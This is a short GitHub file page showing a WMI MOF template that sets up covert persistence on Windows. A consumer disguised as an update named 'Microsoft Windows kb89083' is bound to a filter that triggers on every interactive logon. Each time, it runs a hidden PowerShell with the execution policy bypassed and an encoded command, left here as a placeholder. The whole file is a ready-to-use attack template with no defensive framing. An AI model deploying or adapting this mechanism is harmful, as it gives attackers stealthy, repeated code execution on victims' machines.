Permalink
Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
26 lines (21 sloc) 681 Bytes
#pragma namespace ("\\\\.\\root\\subscription")
instance of CommandLineEventConsumer as $Cons
{
Name = "Microsoft Windows kb89083";
RunInteractively=false;
CommandLineTemplate="cmd /C powershell -windowstyle hidden -ExecutionPolicy ByPass -EncodedCommand <BASE64 CODE>";
};
instance of __EventFilter as $Filt
{
Name = "Windows kb89083 filter";
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 15 "
"WHERE TargetInstance ISA \"Win32_LogonSession\" "
"AND TargetInstance.LogonType = 2";
QueryLanguage = "WQL";
EventNamespace = "root\\cimv2";
};
instance of __FilterToConsumerBinding
{
Filter = $Filt;
Consumer = $Cons;
};